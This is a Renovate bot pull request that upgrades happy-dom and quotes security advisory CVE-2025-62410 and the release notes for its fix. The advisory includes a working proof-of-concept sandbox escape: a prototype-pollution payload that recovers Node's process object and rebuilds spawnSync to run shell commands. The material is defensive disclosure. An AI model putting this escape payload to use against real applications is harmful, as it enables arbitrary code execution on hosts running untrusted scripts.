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@renovate renovate bot commented Oct 11, 2025

This PR contains the following updates:

Package Change Age Confidence
happy-dom 20.0.0 -> 20.0.2 age confidence

GitHub Vulnerability Alerts

CVE-2025-62410

Summary

The mitigation proposed in GHSA-37j7-fg3j-429f for disabling eval/Function when executing untrusted code in happy-dom does not suffice, since it still allows prototype pollution payloads.

Details

The untrusted script and the rest of the application still run in the same Isolate/process, so attackers can deploy prototype pollution payloads to hijack important references like "process" in the example below, or to hijack control flow via flipping checks of undefined property. There might be other payloads that allow the manipulation of require, e.g., via (univeral) gadgets (https://www.usenix.org/system/files/usenixsecurity23-shcherbakov.pdf).

PoC

Attackers can pollute builtins like Object.prototype.hasOwnProperty() to obtain important references at runtime, e.g., "process". In this way, attackers might be able to execute arbitrary commands like in the example below via spawn().

import { Browser } from "happy-dom";

const browser = new Browser({settings: {enableJavaScriptEvaluation: true}});
const page = browser.newPage({console: true});

page.url = 'https://example.com';
let payload = 'spawn_sync = process.binding(`spawn_sync`);normalizeSpawnArguments = function(c,b,a){if(Array.isArray(b)?b=b.slice(0):(a=b,b=[]),a===undefined&&(a={}),a=Object.assign({},a),a.shell){const g=[c].concat(b).join(` `);typeof a.shell===`string`?c=a.shell:c=`/bin/sh`,b=[`-c`,g];}typeof a.argv0===`string`?b.unshift(a.argv0):b.unshift(c);var d=a.env||process.env;var e=[];for(var f in d)e.push(f+`=`+d[f]);return{file:c,args:b,options:a,envPairs:e};};spawnSync = function(){var d=normalizeSpawnArguments.apply(null,arguments);var a=d.options;var c;if(a.file=d.file,a.args=d.args,a.envPairs=d.envPairs,a.stdio=[{type:`pipe`,readable:!0,writable:!1},{type:`pipe`,readable:!1,writable:!0},{type:`pipe`,readable:!1,writable:!0}],a.input){var g=a.stdio[0]=util._extend({},a.stdio[0]);g.input=a.input;}for(c=0;c<a.stdio.length;c++){var e=a.stdio[c]&&a.stdio[c].input;if(e!=null){var f=a.stdio[c]=util._extend({},a.stdio[c]);isUint8Array(e)?f.input=e:f.input=Buffer.from(e,a.encoding);}}var b=spawn_sync.spawn(a);if(b.output&&a.encoding&&a.encoding!==`buffer`)for(c=0;c<b.output.length;c++){if(!b.output[c])continue;b.output[c]=b.output[c].toString(a.encoding);}return b.stdout=b.output&&b.output[1],b.stderr=b.output&&b.output[2],b.error&&(b.error= b.error + `spawnSync `+d.file,b.error.path=d.file,b.error.spawnargs=d.args.slice(1)),b;};'
page.content = `<html>
<script>
    function f() { let process = this; ${payload}; spawnSync("touch", ["success.flag"]); return "success";} 
    this.constructor.constructor.__proto__.__proto__.toString = f;
    this.constructor.constructor.__proto__.__proto__.hasOwnProperty = f;
    // Other methods that can be abused this way: isPrototypeOf, propertyIsEnumerable, valueOf
    
</script>
<body>Hello world!</body></html>`;

await browser.close();
console.log(`The process object is ${process}`);
console.log(process.hasOwnProperty('spawn'));

Impact

Arbitrary code execution via breaking out of the Node.js' vm isolation.

Recommended Immediate Actions

Users can freeze the builtins in the global scope to defend against attacks similar to the PoC above. However, the untrusted code might still be able to retrieve all kind of information available in the global scope and exfiltrate them via fetch(), even without prototype pollution capabilities. Not to mention side channels caused by the shared process/isolate. Migration to isolated-vm is suggested instead.

Cris from the Endor Labs Security Research Team, who has worked extensively on JavaScript sandboxing in the past, submitted this advisory.


Release Notes

capricorn86/happy-dom (happy-dom)

v20.0.2

Compare Source

👷‍♂️ Patch fixes

v20.0.1

Compare Source

👷‍♂️ Patch fixes
  • Adds warning for environment with unfrozen intrinsics (builtins) when JavaScript evaluation is enabled- By @​capricorn86 in task #​1932
    • A security advisory has been reported showing that the recommended preventive measure of running Node.js with --disallow-code-generation-from-strings wasn't enough to protect against attackers escaping the VM context and accessing process-level functions. Big thanks to @​cristianstaicu for reporting this!
    • The documentation for how to run Happy DOM with JavaScript evaluation enabled in a safer way has been updated. Read more about it in the Wiki

Configuration

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This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot changed the title chore(deps): update devdependency happy-dom to v20 [security] chore(deps): update devdependency happy-dom to v20 [security] - autoclosed Oct 14, 2025
@renovate renovate bot closed this Oct 14, 2025
@renovate renovate bot deleted the renovate/npm-happy-dom-vulnerability branch October 14, 2025 14:34
@renovate renovate bot changed the title chore(deps): update devdependency happy-dom to v20 [security] - autoclosed chore(deps): update devdependency happy-dom to v20.0.2 [security] Oct 15, 2025
@renovate renovate bot reopened this Oct 15, 2025
@renovate renovate bot force-pushed the renovate/npm-happy-dom-vulnerability branch 2 times, most recently from f0cc3eb to 00785fc Compare October 15, 2025 23:25
@renovate renovate bot force-pushed the renovate/npm-happy-dom-vulnerability branch from 00785fc to d42b7f3 Compare October 21, 2025 19:44
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